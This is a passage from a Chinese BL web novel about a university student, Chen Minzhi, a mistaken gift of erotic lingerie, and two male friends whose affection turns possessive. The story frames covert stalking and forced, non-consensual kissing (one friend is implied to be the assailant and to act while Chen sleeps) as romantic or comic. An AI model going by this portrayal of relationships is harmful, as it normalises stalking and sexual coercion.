其实这份礼物他早就准备好了,却迟迟不敢送出去,怕陈悯之会生气,但现在看来,悯悯既然会喜欢女式内.裤,那应该也会喜欢他送的东西。 会很漂亮的,就像他从前看到的一样,卫殊想。 陈悯之抱着礼盒,高兴又惊讶:“你给我准备了礼物?里面是什么?” 他按捺不住好奇,抬手就想拆,却被男人一掌按住:“回去再看吧,等你一个人的时候再拆。” 陈悯之笑起来:“什么东西这么神秘?” “等你看了就知道了。”卫殊红着脸看向他,“你会明白的。” * 卫殊不常给陈悯之发消息。 比起线上聊天,他更喜欢直接在线下去找人,比如每天在陈悯之的必经之路上制造一些偶遇,或者干脆就什么都不做地默默跟着陈悯之,好像只是这么看着少年,他便能够获得满足。 可是最近两天,卫殊找不到陈悯之人了。 又一次蹲守落空后,他有些失落地回到寝室,正打算给陈悯之发消息,却听室友问:“你们谁看见我礼盒去哪儿了?” 有人回:“什么礼盒?” 室友急得团团打转:“就我给我女朋友买的那套情.趣内.衣啊,我昨天才刚取回来的,怎么今天就不见了?我明明放在这里的啊” 卫殊指了一个方向:“不是在那儿吗。” 室友看了眼,墙角的储物柜上确实放着一个礼盒,可他摇摇头:“我看过了,那个不是我的,是你们谁买给自己女朋友的吧?” 卫殊闻言,脸上忽然一变。 他大步走过去,把那个盒子拆开,当看清里面的东西时,脸上的神色凝固了。 他拿错礼物了。 他送给陈悯之的礼物外面是黑色包装袋,上面只简单地印有几个字母,而室友的礼盒也是黑色,上面印有品牌名称,两份礼盒颜色尺寸都差不多,他当时怕陈悯之等久了,着急忙慌都没打开看过,这才弄错了。 “你怎么拆了,那个是你的吗?诶你跑什么?”室友还一头雾水,男人已经风一般地冲出了寝室。 卫殊一步没停地跑到西区宿舍楼下,这次他没在楼下等,而是之间去了陈悯之寝室找他。 可到了才被室友告知,陈悯之请假去了外省,这几天都不会回来。 卫殊又连忙拨打陈悯之的电话,关机。 他火急火燎地发消息:【悯悯,你听我解释】 消息没发出去。 他被陈悯之拉黑了。 * 时间回到两天前。 陈悯之回到寝室后,特意按照卫殊说的,找了个没人的时间,满心期待的打开男人给自己的礼物,却跟被雷劈了一样当场愣在了原地。 里面是一套女式情.趣内.衣。 薄到透明的黑色网纱,连体式,明明布料看着不少,有袖子有腿的,可该遮的地方是一个都没遮住,上半身胸前的布料被挖空了,只用几根细线在中间系成一个蝴蝶结,下面的地方更离谱,裆的地方居然是开的。 陈悯之连多看两眼都嫌害臊,闭着眼胡乱把衣服团巴团巴扔进了垃圾桶。 扔进去才想起来垃圾桶是敞口型的,没有盖子,怕室友回来看见,又手忙脚乱地把内.衣从垃圾桶里翻出来,丢进礼盒里。 这时他注意到,盒子底部还有一张写了字的小卡片。 拿出来一看,上面写着:“宝贝好辣,给我.操.操。” 陈悯之只瞟了一眼,就惊恐地把那张小卡片扔了出去,像是在扔一条毒蛇。 随之而来的,是深深的愤怒! 好家伙,变.态竟在他身边,还跟他做了这么久的兄弟,亏他还跟卫殊道歉,说要跟他做一辈子兄弟。 结果他把人家当兄弟,人家把他当当可以糙的兄弟! 几乎是第一时间,陈悯之就想到了那个把他拖进树林里强吻的变.态,毕竟卫殊力气大得离谱,很符合嫌疑人的标准。 但这一猜想立刻就被他否决了。 因为那人第二次作案的时候,陈悯之听到了卫殊在巷子口喊他,而当时那个变.态还压着他啃他胸口呢。 所以不可能是卫殊,而是另有其人。 陈悯之深吸一口气,觉得自己身边的变.态含量属实有些超标了。 他从抽屉里翻出了自己的装备:一瓶防狼喷雾,一个小型电.击棒,一个便携式报警器。 自从知道强吻他的人是个男人后,他就在某宝上下单了这些物品,每天都随身携带着,准备下次那个变.态再来找他,就叫他有来无回。 可变.态好对付,卫殊却不好对付。 陈悯之的性格让他对朋友说不出伤人的话,可他又实在不知道该怎么面对卫殊。 于是他选择了逃跑。 怕卫殊再来宿舍楼下堵他,陈悯之带上装备,收拾好行李,买第二天一早的车票去了临省,准备在陆承轩那儿暂避几天。 现在,他正坐在陆承轩的私人公寓里,和陆承轩一起做饭。 说是一起,其实大部分活儿都是陆承轩在干,他就帮着打打下手。 原本陆承轩连打下手也不让他来的,是他看陆承轩连着做了几顿,不好意思白吃白住还白让人伺候,执意要来帮忙。 奈何他实在干不来这些精细活儿,切个蒜都能不小心把手指切出个口子。 陆承轩听到他的低呼,丢下铲子跑过来一看,当即掉了眼泪。 他握住陈悯之的手指,一边哭一边说:“都是我不好,我不该让哥哥来帮忙的。” “呃”陈悯之有些不知所措,明明受伤的是他,陆承轩却好像比他还痛似的,泪珠子啪嗒啪嗒掉个不停,把他整只手都打湿了。 陈悯之用另一只没受伤的手拍拍陆承轩的肩膀,安慰道:“好了好了,我没事,一个小口子而已,不疼的。” 陆承轩抬起一双含着泪水的眼睛,他眼睫生得长,眼珠颜色很浅,这样看着人时,莫名让陈悯之联想到眼泪汪汪摇尾巴的小狗。 下一刻,小狗把他的指尖含进了嘴里,用湿热的舌.头舔.舐起来。 “你、你做什么?”陈悯之吓了一跳,本能的想要抽回手,然而陆承轩却强硬地攥住他的手腕,力道大得竟让他有些疼。 陆承轩抬眼盯着他:“不要动。” 那眼神阴沉,又仿佛带着些凶恶。 陈悯之被他的眼神吓得愣了一下,揉揉眼睛,陆承轩又已经埋下头继续吸他的手指了。 是他看错了吧,陈悯之摇摇头,心中闪过一缕怪异的感觉。 怎么跟狗狗护食似的。 伤口被粗大舌头舔舐过的感觉有些奇怪,又热又黏,带着些许刺痛,但更多的是心理上的怪异,让陈悯之很不适应。 主要是陆承轩舔得有些太久了,不止受伤的那一小截指尖,他整根手指都被舔得湿嗒嗒的,像是沾上了小狗味儿一样。 不对不对,都什么乱七八糟的,陆承轩又不是狗。 陈悯之努力把这种奇怪的想法从脑子里抛出去。 直到他的伤口不再流血,陆承轩才放开他的手指,舔了舔唇边的水渍:“哥哥不会怪我吧,我听老一辈说,伤口要舔过才好得快呢。” 陈悯之将信将疑:“是吗?” 他怎么觉得陆承轩一脸回味的样子,跟吃了山珍海味一样。 难道他的发小也有什么奇怪的癖好,比如喜欢人血的味道之类的? 陈悯之神色严肃地说:“你张嘴给我看看。” 陆承轩:“嗯?” 他虽然不明白,但还是乖乖照做了。 陈悯之探着脑袋仔细查看,确认陆承轩嘴里只是有两颗虎牙,并没有吸血鬼的尖牙后才放下心。 但随即又觉得自己真是昏了头,怎么会有这么荒诞的想法,一定是最近遇到的变.态太多了,搞得他风声鹤唳,看谁都像变.态。 手指黏糊糊的感觉实在不太舒服,陈悯之走到水龙头前想冲洗一下,被陆承轩眼疾手快地拦住:“你想伤口被感染吗?” 陈悯之:“那么小个口子哪至于感染” 他瞅着陆承轩沉下来的脸色,最终声音越来越小地闭了嘴,随后,被陆承轩拉出厨房,摁到了沙发上:“坐好。” 陆承轩找来了医药箱,用棉签蘸取了碘伏,然后握着他的手指一点点涂抹消毒,动作轻柔又仔细。 陈悯之看着他俊朗的面庞,忽然间有些恍神。 因为比陆承轩大两个月,陈悯之自觉作为哥哥,应当担起照顾弟弟的责任,因此从小到大都是他照顾陆承轩多一些。 可不知从何时起,这个曾经处处需要他照顾,连打雷都要他哄着的少年,已经赫然长成了一个英俊成熟的男人。 陈悯之这次过来,除了躲卫殊,也抱了来看看陆承轩过得好不好的心思,毕竟陆承轩是第一次和他分开那么久,又是一个人在外面住。 现在看来,他的这个弟弟不仅把自己照顾得很好,还学会了照顾别人,陈悯之很欣慰。 于是他习惯性地伸手摸了摸陆承轩的头。 正在给他上药的陆承轩动作一顿,抬起头:“哥哥。” 陈悯之:“嗯?” 陆承轩:“哥哥不知道,男生的头是不能随便摸的吗?” “有吗?”陈悯之疑惑,“可我以前也经常这么摸你啊。” 陆承轩:“我现在已经成年了,成年男人的头,要喜欢的人才能摸。” “是吗?”陈悯之尴尬地摸摸鼻子,“那我以后不摸了。” 陆承轩不知何时凑得离他很近,就在离他的脸只有十几厘米的地方,目光幽幽地盯着他:“真的吗?哥哥真的一点都不想摸吗?” 陈悯之觉得陆承轩好像生气了,他怎么也没想到摸个头影响这么大,看来陆承轩真是长大了,俗话说得好,弟大不摸头。 他连忙信誓旦旦地保证:“真的,真的不摸了,以后再也不摸了。” 陆承轩没再说什么,低着头继续给他上药,动作却比先前重了些,一不小心痛得陈悯之低呼出声。 到底还是生气了吧,陈悯之想。 可陆承轩听到他呼痛后,又停下动作,小心翼翼地往他伤口上吹气。 搞得陈悯之一时间弄不懂他到底生没生气了。 陆承轩抽出个创口贴,边拆包装边问:“我还没问哥哥,怎么突然想起来找我?” 陈悯之不好意思把自己被变.态盯上,还被好兄弟送情.趣内.衣的事情说出来,只道:“没什么,就是想过来看看你。” 陆承轩顿住,抬起眼睛:“真的?哥哥真的是想我了,所以才过来看我?” 陈悯之又不能说真实原因,只能含糊道:“嗯嗯。” 陆承轩眼底浮现起亮光,忽然伸出双臂抱住了他:“我也很想哥哥。” 他将脑袋埋在陈悯之脖颈间,呼吸着怀中人温热柔软的香气,低声道:“哥哥平时都不怎么主动给我发消息,也不给我打电话,每次都是我找你才会回,我还以为哥哥都要把我忘了。” 语气竟有些委屈。 “毕竟哥哥身边的朋友那么多,不像我,只有哥哥一个。” 陈悯之忙拍着他的背道:“你怎么会这样想,你是很重要的人,我把谁忘了都不会把你忘了的。” 与其他的朋友不同,陆承轩对他来说不仅是朋友,更像是他的亲弟弟一样。 可陆承轩依然不太高兴的样子。 陈悯之叹口气:“其实其实我早就把你当成我的家人了。” 抱着他的人身形一僵,旋即抬起头,呼吸急促地盯着他:“你说什么?” 陈悯之:嗯?没听清吗?那他再说一遍。 他对着陆承轩的眼睛,认真道:“我说,我把你当成我的家人。” 陆承轩开心地笑起来,忽然一把将他扑倒在沙发上,还伸舌头在他脸上舔了一口:“嗯,哥哥和我是一家人,这辈子都不分开。” 陈悯之摸着自己被舔了一口的脸想,真不能怪他总是把陆承轩想成小狗,他这个弟弟身上的一些习性是真的和狗很像。 尤其是现在,更像了。 像那种明明很生气,但很容易就会被哄好的小狗。 陆承轩说什么都不肯让陈悯之再进厨房,他只好坐在沙发上玩手机,让陆承轩一个人拴着围裙在厨房里忙活。 这时,他收到一条微信消息。 顾明珏:【悯之,在那边玩儿得怎么样?】 陈悯之:【挺好的,在朋友家住呢】 顾明珏:【嗯,什么时候回来?芝芝很想你,这几天你不在,它晚上总叫。】 陈悯之于是明白了,顾明珏这是在委婉地提醒他,该回去上班了。 说来他自己都惭愧,前段时间才刚因为秦陌的事情请了假,这才没多久又请假,真的有点不尊重老板了。 陈悯之:【可能还有一两天】 他两眼一闭:【对不起,你还是扣我工资吧】 再不扣点他都觉得过意不去。 顾明珏这次没再说什么不扣他工资的话,只模棱两可地回复道:【嗯,悯之这样玩忽职守,的确该罚。】 陈悯之不解:【罚什么?不就是扣工资吗?】 顾明珏:【不是。】 顾明珏:【具体罚什么,我还没想好,现欠着,但悯之要记得。】 陈悯之松了口气,只要不扣他工资,罚什么都好说,而且顾明珏又不是什么恶趣味的变.态,最多也就罚他写个检讨吧。 他随手回复道:【嗯嗯,知道了】 顾明珏:【嗯,早些休息。】 * 晚上,陆承轩洗完澡后早早就爬上了他的床。 明明有宽敞的主卧,却非要和他挤在客卧的小床上,和他一起睡。 其实昨晚陈悯之睡着就觉得挤了,总觉得睡着有些喘不过气似的,他原本想让陆承轩今晚上回自己房间睡的,想起今天发生的事,又作罢。 算了,陆承轩本就是个没有安全感的性子,自己好不容易来一回,就多陪陪他吧,反正两兄弟睡一张床也很正常。 可他没想到的是,陆承轩今天似乎变得格外黏人,连被子都非要和他盖一床。 身形比他大了一圈的男生,用修长双臂圈住他的脖颈,脑袋贴在他蹭来蹭去,像只黏人的大型犬。 陆承轩埋首在他颈侧,深深嗅了一口:“哥哥,你身上好香。” 陈悯之原本在专心致志地打游戏,都没注意陆承轩抱着自己闻了多久,听到这话才猛然回过神来,一把将趴在他身上的男生推开:“你做什么?” 有了那个不知名变.态和卫殊的前车之鉴,陈悯之现在变得比以前敏感许多,像只一有风吹草动就会被吓得跳起来的兔子。 尤其是,之前那个变.态强吻他的时候,也会像这样贴在他身上用力嗅闻他的味道,导致陆承轩的动作直接唤起了一些不好的记忆。 陆承轩问:“怎么了,哥哥?” 陈悯之一脸警惕:“你说什么好香?” “说今天新买的沐浴露啊。”陆承轩浅褐色的眼珠望着他,一脸无辜,“留香很久呢,哥哥洗完澡一小时了还能闻到。” “这、这样啊,我还以为”陈悯之讪讪地摸了摸鼻子。 陆承轩今天带他一起去逛了超市,给他买了全套的洗漱用品,说是方便他以后再过来住 是他反应有点过激了,陆承轩从小和他一起长大,是他亲弟弟一样的存在,怎么可能是变.态。 陆承轩眨眨眼睛:“嗯?哥哥以为是什么?” 陈悯之当然不可能说他以为陆承轩是在说自己香,只目光闪躲地含糊过去了。 陆承轩笑眼弯弯地看着他,也没追问。 入夜后,陈悯之又做了梦。 做梦不稀奇,稀奇的是,这次他居然在梦里遇到了那个强吻他的变.态! 变.态把他抵在墙上,伸出粗.大的舌头舔他,啃咬他的嘴唇,像吸棒棒糖一样吸他舌头上的水,吃得啧啧有声。 到后面,变.态还做了和上次在小巷子里一样的事,撩开他的上衣咬他。 好在这次陈悯之有了防备,从兜里摸出电击棒反手就是一电,当场把那个变.态电晕了过去,砰咚一声摔在地上,声音大得他在梦里都觉得很真实。 陈悯之很满意,当即在梦里掏出手机给商家写了个五星好评。 第二天醒来,陆承轩依旧不在床上,陈悯之没在意,陆承轩因为要做早饭,每天都起得比他早。 可直到他坐起身,才猛然吓了一大跳。 陈悯之揉揉眼睛,再睁开,确定躺在地板上的是陆承轩没错,而且嘴唇都冻得发紫了,两眼紧闭着,跟昏迷了一样。 他连忙趿上鞋下床,伸手去摇人:“承轩?承轩?醒醒?” 摇了两下没反应,再探呼吸,好在还有,又赶忙去掐人中。 这下终于把人给掐醒了。 陆承轩睁开眼睛,目光还有些混沌,但当看清握着自己肩膀的是陈悯之后,又很快清醒过来,问:“怎么了?” 陈悯之拍着心有余悸的胸口:“你还问我,你怎么会睡在地板上?身上连个被子也没有,嘴巴都冻青了。” 陆承轩不知想起什么,露出一个有些勉强的笑容:“应该是睡着后滚下来了。” 他面上笑着,目光却朝着床头的方向瞥了一眼,划过一道不易察觉的幽光。 奇怪,哥哥什么时候在枕头底下藏了个电.击棒? 还在梦里摸出来精准地用在了他身上。 难道他已经觉察出了什么?现在只是在装糊涂? 可陈悯之脸上的担忧与关怀不似作假。 陆承轩一时摸不准,只能顺着话说:“哥哥你知道的,我从小睡姿就不太好。” 陈悯之叹口气:“你这睡姿也太不好了。” 陆承轩明明睡在床的右侧,躺的地板却是床的左侧,也就是说,陆承轩竟然翻山越岭地滚过了他,然后滚到了床下面去。 怪不得他昨天觉得睡着了有些喘不过气呢,多半就是陆承轩滚来滚去的时候压着他了。 陈悯之:“你现在身上有没有不舒服?头疼不疼?” 陆承轩:“没有,哥哥放心,我身体素质很好,很少生病。” 陈悯之:“要不今晚上你还是自己睡吧。” 他怕陆承轩再滚一回,真把自己给滚感冒了。 陆承轩垂着眼,出乎意料答应得很爽快:“嗯。” 今天周一,吃过饭,陆承轩便开车去学校上课了,陈悯之和他一道。 不过陈悯之对陆承轩的课程没有兴趣,没有陪他一起听课,只是一个人随意在校园里闲逛,等着陆承轩下课后一起去小吃街。 深秋的林荫道很美,金黄的银杏叶挂了满树,风一吹,纷纷扬扬铺满了整条道路。 在道路尽头,旋转飞舞的金黄色里,陈悯之看到了一个不该出现在这里的人。 那人也看到了他,迈开长腿,朝着他大步奔跑过来。 第24章 第 24 章 属于真正的公主的心。…… 24 陈悯之在原地愣了两秒, 扭头就跑。 他也不知道自己为什么要跑,明明这件事中不占理的一方是卫殊,要跑也该是卫殊见了他跑才对。 可或许是男人身形太过高大, 肌肉勃发, 气势汹汹跑过来时如同一只矫捷的猎豹,让他生出一种被捕食的错觉, 本能地想要逃跑。 但他哪里跑得过本就身高腿长,还是体育生的卫殊,没几步就被男人攥住胳膊,一把抓了回来。 陈悯之自然是拼命挣扎起来:“放开!放开我!” 明明被钳制住的人是他,卫殊却似比他还焦急:“悯悯,你听我解释——” 陈悯之一想到那套他看一眼都嫌羞的情趣内.衣,还有那张不堪入目的小卡片, 就气不打一处来, 他奋力甩开卫殊:“有什么好解释的,我们已经不是朋友了!” 他跟变.态没有什么话好说。 可下一刻,卫殊却忽然用力抱住了他。 男人身材又高又宽阔, 需要弯腰低下头才能把脑袋放在他肩膀上, 这姿势有些别扭, 卫殊却用这个别扭的姿势紧紧箍住他,不让他有一丝逃跑的可能。 陈悯之挣扎着:“放开!我让你放开我, 你听不见吗!” 可他越挣扎, 卫殊反而把他抱得越紧。 男人声音闷闷的, 像某种倔强的, 叼着食物不松口的大型犬喉中发出的呼噜声:“你不听我解释,我就不放开。” 他们所在的道路是校园里的主干道,又正是下课的时间, 路上人来人往,不少行人都对他们微微侧目。 陈悯之后知后觉地意识到,两人现在正在做的事有点奇怪了。 怎么跟演那种狗血苦情剧一样,男女主产生了误会,一个拼命想解释,另一个拼命”我不听我不听“,更奇怪的是,他演的还是那个一直说“我不听我不听”的无脑女主。 想到这里,陈悯之唇角抽了抽,放弃了挣扎:“你说吧,我听你解释,别抱着我了。” 卫殊小心翼翼瞅他两眼,见他是真的没有要再跑的意思,这才缓缓将他松开。 高大的男人低眉耷眼,像只自知犯了错,连尾巴都垂下来的大型犬:“那个东西,不是我要给你的礼物,是我室友买给他女朋友的,我当时跑得太快,拿错了。” 他把一个黑色礼袋递给陈悯之:“这个才是我要送你的。” 陈悯之一怔。 刚才一见卫殊就光顾着跑了,竟然没注意到男人手里还提着东西。 但他看着那个礼袋,还是不太相信的样子。 卫殊该不会是看他收了那件情.趣内.衣后生气了,才重新买了个礼物,然后想出这种蹩脚理由来哄骗他吧? 陈悯之没有去接那个礼袋,后退一步:“我怎么知道你是不是在骗我。” 卫殊一愣,像是没想到他会这么说,一双浓眉大眼垂下来,有些受伤的模样。 男人喉结滚了滚,望着他,声线喑哑:“悯悯,我永远不会骗你。” 他的语气如此郑重,让陈悯之的心脏仿佛忽然被敲了一下。 陈悯之忽略掉这种奇怪的感觉,脚步却没有再后退了,他看着卫殊:“你怎么证明,你说的都是真的?” 似乎早料到他会有此问,卫殊动作飞快地从手机里翻出一张截图给他,是一张某宝页面的情趣.内.衣订单截图,收货人那一栏是卫殊室友的名字。 但真要说这么简单的图片也不是不能p 见他的目光仍然将信将疑,卫殊又拿出室友的一段录音:【那个,大兄弟,你别误会,那套内.衣的确是我买给我女朋友的,我兄弟这人我了解,别看他长那么大块儿头其实人老实得很,大学三年连片都没看过,你可千万别把他想成什么变.态,对了你走的这几天他是茶不思饭不想天天去你楼下找你日日夜不能寐就想着唔——】 后面的音频被人掐断了。 卫殊红着张脸:“这下你该信了吧。” 陈悯之点点头,恍然道:“这也太巧了” 卫殊垂下头:“对不起,都是我的错。” 陈悯之尴尬地摸摸脑袋:“没有,是我有点反应过激了” 他这时才后知后觉地懊恼起来,他当时怎么就没先问问卫殊是怎么回事呢,正常人就算收到兄弟送的奇怪礼物,也没有当场买火车票跑路的呀,他竟然连个解释的机会都没给卫殊,闹了这么大个乌龙出来。 说来说去,还不都怪那个把他拖进小树林强吻的变态!搞得他现在草木皆兵,看谁都像变态! 陈悯之:“那你原本要送给我的,是什么东西?” 卫殊双手抱着礼袋,这时候反倒有些局促的样子,他耳根微红:“你看了就知道了。” 陈悯之接过来,却在拆开礼物的那一瞬瞪大了眼睛。 里面是一条浅粉色的公主裙。 * 十岁以前,卫殊一直生活在一座小县城里,父母常年在外省做生意,是爷爷奶奶在照看着他。 那时候,县城里只有两所小学,一所收费低廉,但基础设施较差,另一所场地更大,校内设施也更好。 六一儿童节,小的那所学校操场太狭窄,不具备搭建舞台的条件,两所学校便商量了一下,决定合办节日庆典。 于是在庆典的前一天,卫殊见到了从另一所学校前来彩排的陈悯之。 四年级,正是小男生调皮捣蛋的年级,卫殊翘了下午的课,在学校后面的小花园里上树掏鸟蛋。 鸟蛋没掏着,却在鸟窝后面,学校的白色走廊下,看见了一个穿着粉色裙子的小公主。 小公主生得粉雕玉琢,唇红齿白,最漂亮的是那双眼睛,又黑又圆,乌润润的,像童话书里的黑玛瑙,充满好奇,又有些担忧的望着扒在高处的他。 卫殊看呆了眼,一个没留神儿,从树上跌了下来。 所幸这棵树并不算高,下面都是松软的草叶与泥土,他又生得皮糙肉厚的,摔下来虽然疼,但并未受伤。 只是小公主却似乎担心坏了,穿着小皮鞋啪嗒啪嗒地跑过来,细细的眉毛都揪起来:“你还好吗?” 卫殊狼狈地趴在地上,愣愣地望着来人,满眼都是小公主粉粉嫩嫩的脸蛋,红红软软的嘴唇,还有眼尾那颗漂亮的小红痣,一时连对方说什么都没听见。 小公主见他半天没说话,小心地提起身上的蓬蓬裙,在他面前蹲了下来。 一只白皙的小手伸到了他面前:“你是不是起不来了?我拉你吧。” 明明可以自己爬起来,卫殊却完全忘记了这一点,一双眼睛直愣愣地盯着小公主玉雪可爱的脸颊,嘴巴跟不受控制似的吐出一句惊天地泣鬼神的话:“我能不能娶你做老婆?” “啊?”小公主完全没想到会得到这么一句牛头不对马嘴的回答,愣了半天,脸上才浮现出一抹尴尬的红晕,“我、我是男生,不是女孩子。” 卫殊:“我知道。” 小公主头上并没有戴假发,而是寻常的小男孩发型,即使穿着公主裙也并不像个女孩子,从见到他的第一眼卫殊就知道他是个男生。 但神奇的是,他身上有一种这个年龄段的男生没有的,温软柔和的独特气质,使他穿着裙子并不显得违和,而真像是一位温柔大方的公主。 他给卫殊的感觉,就像是曾经吃过的棉花糖一样绵软,找不到一点锋锐的棱角。 十岁的小孩,心里并没有什么同性恋异性恋的概念,卫殊只觉得小公主好乖好漂亮,比他见过的任何人都要可爱,他想娶他做老婆。 小公主歪着脑袋想了想,大概觉得他是在开玩笑,没再接着他的话说,只伸出手道:“我先拉你起来吧。” 他小声提醒:“你在地上趴了好久了,不累吗?” 卫殊这才似回过神似的,他瞅了瞅小公主白白嫩嫩的小手,干净漂亮的粉裙子,再瞅瞅自己一身的泥巴,耳根子倏地红了。 他结结巴巴地说:“我我会把你弄脏的。” 小公主弯起眼睛,对他露出一个笑容:“没关系。” 卫殊红着脸,把自己黑乎乎的手在校服上擦了又擦,只是他校服也是脏兮兮的,哪里都是泥,擦来擦去,最后递出去的还是一只黑手。 可小公主却毫不嫌弃地握住了他的手,十指相握的那一瞬,卫殊满脑子都是好软,怎么会有男孩子的手这么软,温温热热的,握着好舒服,真想一直这么握着。 他脑子里这么想着,实际也这么做了,从小公主把他拉起来起,他握着对方的手就没松开过,跟条叼着肉就不松口的狗似的。 直到小公主被他攥得有些不舒服了,挣了挣,奇怪地问:“你为什么一直握着我呀?” 卫殊下意识脱口而出:“我怕你跑了。” 小公主更奇怪了:“我为什么要跑?” 一向天不怕地不怕连老师都不怕的卫殊,竟在此刻生出一丝手足无措来,他支支吾吾着不知道怎么回答,事实上,连他自己都不知道自己在想什么,只觉得整个人云里雾里的,能感受到的只有小公主又白又软的小手。 他觉得小公主哪里都好香,想抱在怀里亲两口,但他现在身上脏兮兮的,又不太敢亲,怕小公主生气。 最后还是小公主开口:“你你先松开我,我还要去彩排。” “哦。”卫殊用手背胡乱擦了擦快要流出来的口水,讷讷地照做了。 临别前,他抓住小公主粉色的蓬蓬纱裙角,紧张巴巴地问:“我暑假能来找你玩儿吗?” 六一儿童节后没两周就是暑假了。 小公主回过头,对他露出一个灿烂的笑容:“好呀,到时候我带你去我家,吃我奶奶做的米糕。” 可卫殊最终没能吃到小公主家里的米糕,因为没多久,赚了钱的父母从外省回来,为他办理了转学手续,带着他和爷爷奶奶一起去了大城市里。 六一儿童节小公主在台上的表演,竟成了他们第二次,也是最后一次见面。 卫殊这么多年最懊恼的事,就是当时满脑子只想着亲人,竟连小公主的名字都忘了问,不然也不至于后面那么多年,连找都不知从何找起。 在社团招新偶遇陈悯之时,少年正在为路过的一名女生指路,女生问了许久,他却没有一点不耐烦,微微低着头,眼尾带着笑,目光始终温暖又柔和。 卫殊几乎一眼就认出了他,并非因为他的外貌,而是那一股熟悉的,独特的柔软气质。 那时他忽然明白,他初遇陈悯之的时候,为什么觉得公主裙穿在他身上一点都不违和,仿佛他就是公主本身。 不是因为他的外貌,而是因为他有一颗善良柔软,悲天悯人,属于真正的公主的心。 只有真正的公主,才会对满身污泥的他伸出白皙干净的手。 卫殊心里这么想着,望向少年的眼神便也充满了期待。 时隔多年,重新拿到公主裙的小公主,会像当年一样握住他的手吗? 可下一刻,陈悯之的话像是一盆冷水兜头浇了下来,少年看着他,神色复杂地问:“你这次又拿错礼物了吗?” 卫殊一怔:“你不记得了?” 陈悯之一头雾水:“记得什么?” 卫殊:“我们以前见过的,当时你穿的就是这条裙子。” 当时陈悯之穿的自然不是这条裙子,这条裙子只是卫殊按照自己的记忆,再根据陈悯之的身量找人定做的。 他与小公主留下的回忆不多,但每一帧都被他在心里反复播放了许多遍,咀嚼了许多年,连裙子上的细节他都能说出来,因而做出来的东西不说一模一样,但也与当年那条裙子大差不差了。 可现在他的公主不记得了,他只好把当初的故事复述了一遍。 听完后,陈悯之恍然大悟:“我说这条裙子看着怎么有点眼熟呢,原来我们那时候就见过了!这也太巧了!” 陈悯之心想,他跟卫殊还真是命中注定的好兄弟。 “嗯。”卫殊看着他,声音有些涩哑,“其实我一直想问你一个问题。” 陈悯之:“嗯?什么问题?” 卫殊咽了咽喉咙,时隔多年,他竟又感觉到了初见小公主时的那种紧张:“当时你上台表演的时候,我看见你跟那个男生亲了,你你是喜欢他吗?” “啊?”陈悯之费劲地回忆了好一会才想起来卫殊说的是什么。 当时他们班的节目是演话剧《睡美人》,最后公主需要被王子亲吻才能醒过来。小学最是害怕流言蜚语的时候,班里的女生面皮薄得很,即使是假的亲吻也没有人愿意去演,最后大家决定推选出一个男生去演公主。 陈悯之就这么光荣地被推出来了,倒不是大家觉得他最适合,而是班里的其他男生都不愿意演反串角色,他不接,这个节目就演不下去了。 饶是陈悯之是个男生,排练话剧的那段时间,也被班里的同学拿假接吻的事情调笑了好久,现在想起,只觉哭笑不得。 但更令陈悯之哭笑不得的是卫殊的话,他挠挠脑袋:“你怎么会这么问?当时只是借位而已,没有真亲,就算真亲了,我也不可能喜欢班长啊。” 卫殊:“真的?没有真亲?你也不喜欢他?” 陈悯之:“当然。” 他跟班长都是男的啊,他怎么可能喜欢班长。 卫殊脸上肉眼可见地阳光灿烂起来,随即,又闪过一丝心虚。 幸好他没告诉陈悯之,当初陈悯之表演完后,他把那个演王子的男生打了一顿,把人鼻梁骨都打断了,第二天就被全校通报批评,没多久又被回到家知晓这件事的爹拿衣架抽,边抽边问他知错没有,后悔没有。 卫殊被抽得浑身是血,咬着牙说知错了,但不后悔,下次有人欺负他老婆,他还敢把对方鼻子打断。 他爹问他小小年纪哪儿来的老婆,还说就他这幅成天惹事的熊样谁会喜欢他。 卫殊鼓着个又青又肿的腮帮子,倔强地说他就是有老婆,老婆都牵他手了,就是喜欢他。 然后被他爹以翘课早恋的由头又打了一顿。 陈悯之观他短短几秒内变幻莫测的神情,疑惑道:“你怎么了?” 怎么一会儿憨笑一会儿眼神飘忽的,这孩子该不会是傻了吧? 他担忧地伸手去探卫殊的额头,想看看他是不是发烧了,却被卫殊一把攥住了手。 男人掌心炙热的温度灼着他的皮肤,陈悯之脸现忧色:“你是不是生病了?” “不是,我没有生病。”卫殊望着他,眼底的温度是同掌心一样的炙热:“我我” 可他“我”了半天也没“我”出个所以然来。 陈悯之有点莫名其妙,想抽回自己的手,却发现抽不动。 陈悯之只得暂时放弃,卫殊太高了,他得仰着头才能与之对视:“好了,现在已经误会解除了,你、你不用再这么抓着我,我不会跑的。” 卫殊忽然脱口而出:“不是,是我想对你说,其实我—” 话到最后又戛然而止。 陈悯之更疑惑了:“你什么?” 卫殊嘴唇张开又闭上,一张带点凶悍的俊脸憋得通红,最后憋出一句硬.邦邦的话:“其实我是卫氏的继承人。” 陈悯之一脸懵:“你在说什么?” 卫殊闷着个脑袋提醒:“就是卫林集团那个卫氏。” 陈悯之:“哦哦,卫林集团啊。” 三秒后,陈悯之:“什么?卫林集团?!” 这不是全国数一数二、可以和行业中规模最大的国企央企相媲美的那个私人建筑集团吗? 陈悯之瞪大眼睛:“你是说,你是卫林集团的大少爷?” 卫殊道:“我是独生子,没有兄弟姐妹,你要是嫁” 陈悯之:“好家伙!你竟然藏这么深!” 搞了半天,他身边的兄弟一个比一个有背景,就他一个是普通人啊! 怪不得他之前给卫殊介绍顾明珏公司里的工作,卫殊不去呢! 他之前竟然还以为卫殊家庭困难,把自己喝过的矿泉水瓶子都收集起来给他了! 矿泉水瓶都不提,他还经常给人送牛奶送水果的,想着帮卫殊补贴点儿生活。 第一次给卫殊提水果过去的时候,他看卫殊眼睛里闪着光,好像很激动又很感动的样子,拿着个火龙果看了半天,不知道是舍不得吃还是不知道怎么吃。 当时他竟然还很好心地把皮削了,切成块儿递到卫殊跟前,很贴心地介绍:“这是火龙果,好吃的。” 天,他都干了些什么啊! 陈悯之恨不得挖个坑把自己就地掩埋。 他抚着胸口,痛心疾首:“你怎么到现在才告诉我?亏我还以为你唉!” 卫殊垂着脑袋:“对不起,我不是故意要瞒你的。” 一开始,他收到陈悯之送给他的东西时很开心,哪怕只是顺路帮他带的一盒牛奶,直到陈悯之说要介绍他到顾氏去工作,问他愿不愿意去,他才明白对方好像误解了什么。 可卫殊当时什么都没说,他隐约知道,如果说了,自己或许就收不到小公主时不时送给他礼物了。 陈悯之摆摆手:“这有什么好道歉的,想不想说是你的事,我又不会怪你。” 